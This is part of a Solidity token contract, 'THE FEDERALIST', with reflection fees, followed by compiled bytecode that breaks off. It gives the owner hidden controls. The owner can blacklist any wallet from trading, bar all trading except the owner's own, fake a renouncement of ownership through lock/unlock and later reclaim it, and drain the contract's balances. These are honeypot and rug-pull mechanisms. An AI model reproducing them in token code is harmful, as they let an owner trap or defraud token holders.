revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract THEFEDERALIST is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public teamAndMarketingWallet; string private _name = "THE FEDERALIST"; string private _symbol = "FEDERAL"; uint8 private _decimals = 9; uint256 public _taxFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 public marketingFeePercent = 75; uint256 public _liquidityFee = 9; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 990000000000000000000 * 10**9; uint256 public _maxWalletSize = 1000000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingFeePercent(uint256 fee) public onlyOwner { marketingFeePercent = fee; } function setTeamAndMarketingWallet(address walletAddress) public onlyOwner { teamAndMarketingWallet = walletAddress; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < 10, "Tax fee cannot be more than 10%"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { require(liquidityFee < 15, "Liquidity fee cannot be more than 15%"); _liquidityFee = liquidityFee; } function _setMaxWalletSizePercent(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(teamAndMarketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if (takeFee) { if (to != uniswapV2Pair) { require( amount + balanceOf(to) <= _maxWalletSize, "Recipient exceeds max wallet size." ); } } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100); payable(teamAndMarketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106103545760003560e01c806360d48489116101c6578063a69df4b5116100f7578063d4a3883f11610095578063dd62ed3e1161006f578063dd62ed3e146109dc578063ea2f0b3714610a22578063ec28438a14610a42578063f2fde38b14610a6257600080fd5b8063d4a3883f14610986578063da6fa55c146109a6578063dd467064146109bc57600080fd5b8063b6c52324116100d1578063b6c523241461091b578063bcac287014610930578063c49b9a8014610950578063d12a76881461097057600080fd5b8063a69df4b5146108c6578063a9059cbb146108db578063af2ce614146108fb57600080fd5b80638ba4cc3c116101645780638f9a55c01161013e5780638f9a55c01461086657806395d89b411461087c578063a457c2d714610891578063a6334231146108b157600080fd5b80638ba4cc3c146108085780638da5cb5b146108285780638ee88c531461084657600080fd5b8063715018a6116101a0578063715018a614610784578063764d72bf146107995780637d1db4a5146107b957806388f82020146107cf57600080fd5b806360d48489146107155780636bc87c3a1461074e57806370a082311461076457600080fd5b8063313ce567116102a05780634549b0391161023e57806349bd5a5e1161021857806349bd5a5e146106695780634a74bb021461069d57806352390c02146106bc5780635342acb4146106dc57600080fd5b80634549b03914610614578063457c194c1461063457806348c54b9d1461065457600080fd5b80633ae7dc201161027a5780633ae7dc201461059e5780633b124fe7146105be5780633bd5d173146105d4578063437823ec146105f457600080fd5b8063313ce5671461053c5780633685d4191461055e578063395093511461057e57600080fd5b80631694505e1161030d57806329e04b4a116102e757806329e04b4a146104bd5780632a360631146104dd5780632d838119146104fd5780632f05205c1461051d57600080fd5b80631694505e1461043c57806318160ddd1461048857806323b872dd1461049d57600080fd5b80630305caff14610360578063061c82d01461038257806306fdde03146103a2578063095ea7b3146103cd5780631238a079146103fd57806313114a9d1461041d57600080fd5b3661035b57005b600080fd5b34801561036c57600080fd5b5061038061037b366004612e52565b610a82565b005b34801561038e57600080fd5b5061038061039d366004612e6f565b610ad6565b3480156103ae57600080fd5b506103b7610b55565b6040516103c49190612e88565b60405180910390f35b3480156103d957600080fd5b506103ed6103e8366004612edd565b610be7565b60405190151581526020016103c4565b34801561040957600080fd5b50610380610418366004612e52565b610bfe565b34801561042957600080fd5b50600d545b6040519081526020016103c4565b34801561044857600080fd5b506104707f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103c4565b34801561049457600080fd5b50600b5461042e565b3480156104a957600080fd5b506103ed6104b8366004612f09565b610c4a565b3480156104c957600080fd5b506103806104d8366004612e6f565b610cb3565b3480156104e957600080fd5b506103806104f8366004612e52565b610cf1565b34801561050957600080fd5b5061042e610518366004612e6f565b610d3f565b34801561052957600080fd5b50600a546103ed90610100900460ff1681565b34801561054857600080fd5b5060115460405160ff90911681526020016103c4565b34801561056a57600080fd5b50610380610579366004612e52565b610dc3565b34801561058a57600080fd5b506103ed610599366004612edd565b610f7a565b3480156105aa57600080fd5b506103806105b9366004612f4a565b610fb0565b3480156105ca57600080fd5b5061042e60125481565b3480156105e057600080fd5b506103806105ef366004612e6f565b6110c0565b34801561060057600080fd5b5061038061060f366004612e52565b6111aa565b34801561062057600080fd5b5061042e61062f366004612f91565b6111f8565b34801561064057600080fd5b5061038061064f366004612e6f565b611285565b34801561066057600080fd5b506103806112b4565b34801561067557600080fd5b506104707f00000000000000000000000083bbdfb22249909c163ea33ac833f519fdbbfac181565b3480156106a957600080fd5b506017546103ed90610100900460ff1681565b3480156106c857600080fd5b506103806106d7366004612e52565b61131a565b3480156106e857600080fd5b506103ed6106f7366004612e52565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561072157600080fd5b506103ed610730366004612e52565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561075a57600080fd5b5061042e60155481565b34801561077057600080fd5b5061042e61077f366004612e52565b61146d565b34801561079057600080fd5b506103806114cc565b3480156107a557600080fd5b506103806107b4366004612e52565b61152e565b3480156107c557600080fd5b5061042e60185481565b3480156107db57600080fd5b506103ed6107ea366004612e52565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561081457600080fd5b50610380610823366004612edd565b61158d565b34801561083457600080fd5b506000546001600160a01b0316610470565b34801561085257600080fd5b50610380610861366004612e6f565b6115e8565b34801561087257600080fd5b5061042e601a5481565b34801561088857600080fd5b506103b7611675565b34801561089d57600080fd5b506103ed6108ac366004612edd565b611684565b3480156108bd57600080fd5b506103806116d3565b3480156108d257600080fd5b5061038061170e565b3480156108e757600080fd5b506103ed6108f6366004612edd565b611814565b34801561090757600080fd5b50610380610916366004612e6f565b611821565b34801561092757600080fd5b5060025461042e565b34801561093c57600080fd5b50600e54610470906001600160a01b031681565b34801561095c57600080fd5b5061038061096b366004612fb6565b611872565b34801561097c57600080fd5b5061042e60195481565b34801561099257600080fd5b506103806109a136600461301f565b6118f0565b3480156109b257600080fd5b5061042e60145481565b3480156109c857600080fd5b506103806109d7366004612e6f565b6119e3565b3480156109e857600080fd5b5061042e6109f7366004612f4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610a2e57600080fd5b50610380610a3d366004612e52565b611a68565b348015610a4e57600080fd5b50610380610a5d366004612e6f565b611ab3565b348015610a6e57600080fd5b50610380610a7d366004612e52565b611af1565b6000546001600160a01b03163314610ab55760405162461bcd60e51b8152600401610aac9061308b565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b03163314610b005760405162461bcd60e51b8152600401610aac9061308b565b600a8110610b505760405162461bcd60e51b815260206004820152601f60248201527f546178206665652063616e6e6f74206265206d6f7265207468616e20313025006044820152606401610aac565b601255565b6060600f8054610b64906130c0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b90906130c0565b8015610bdd5780601f10610bb257610100808354040283529160200191610bdd565b820191906000526020600020905b815481529060010190602001808311610bc057829003601f168201915b5050505050905090565b6000610bf4338484611bc9565b5060015b92915050565b6000546001600160a01b03163314610c285760405162461bcd60e51b8152600401610aac9061308b565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c57848484611ced565b610ca98433610ca4856040518060600160405280602881526020016132bb602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061204c565b611bc9565b5060019392505050565b6000546001600160a01b03163314610cdd5760405162461bcd60e51b8152600401610aac9061308b565b610ceb81633b9aca00613111565b60195550565b6000546001600160a01b03163314610d1b5760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610da65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610aac565b6000610db0612086565b9050610dbc83826120a9565b9392505050565b6000546001600160a01b03163314610ded5760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b03811660009081526007602052604090205460ff16610e555760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610aac565b60005b600854811015610f7657816001600160a01b031660088281548110610e7f57610e7f613130565b6000918252602090912001546001600160a01b03161415610f645760088054610eaa90600190613146565b81548110610eba57610eba613130565b600091825260209091200154600880546001600160a01b039092169183908110610ee657610ee6613130565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610f3e57610f3e61315d565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610f6e81613173565b915050610e58565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610bf4918590610ca490866120eb565b6000546001600160a01b03163314610fda5760405162461bcd60e51b8152600401610aac9061308b565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a0823190602401602060405180830381865afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061318e565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015611097573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bb91906131a7565b505050565b3360008181526007602052604090205460ff16156111355760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c